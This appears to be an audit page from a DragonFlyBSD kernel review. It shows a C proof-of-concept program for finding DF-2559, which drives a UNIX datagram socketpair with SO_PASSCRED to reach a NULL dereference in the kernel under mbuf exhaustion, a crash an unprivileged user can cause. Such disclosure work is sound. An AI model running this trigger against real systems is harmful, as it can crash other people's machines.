⬢ DragonFlyBSD Kernel Audit
DF-2559 / trigger.c
← back to finding ↓ download raw
/* DF-2559 trigger: SOCK_DGRAM unix socketpair, receiver SO_PASSCRED,
 * small sendto -- the kernel auto-creates SCM_CREDS control via
 * sbcreatecontrol(M_NOWAIT); with the mbuf zone exhausted it gets NULL
 * and dereferences it.  Run as an unprivileged user.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>

int
main(int argc, char **argv)
{
	int n = (argc > 1) ? atoi(argv[1]) : 1;
	int sv[2], on = 1, i, rc;
	char buf[] = "x";

	setvbuf(stdout, NULL, _IONBF, 0);
	if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sv) < 0) {
		perror("socketpair");
		return 1;
	}
	if (setsockopt(sv[1], SOL_SOCKET, SO_PASSCRED, &on, sizeof(on)) < 0) {
		perror("SO_PASSCRED");
		return 1;
	}
	for (i = 0; i < n; i++) {
		rc = send(sv[0], buf, 1, MSG_DONTWAIT);
		printf("send %d: %d (%s)\n", i, rc,
		    rc < 0 ? strerror(errno) : "ok");
		if (rc < 0)
			break;
		/* drain so the buffer never fills */
		char rbuf[128];
		struct msghdr msg; struct iovec iov;
		char cbuf[256];
		memset(&msg, 0, sizeof(msg));
		iov.iov_base = rbuf; iov.iov_len = sizeof(rbuf);
		msg.msg_iov = &iov; msg.msg_iovlen = 1;
		msg.msg_control = cbuf; msg.msg_controllen = sizeof(cbuf);
		if (recvmsg(sv[1], &msg, MSG_DONTWAIT) < 0)
			break;
	}
	printf("trigger done\n");
	return 0;
}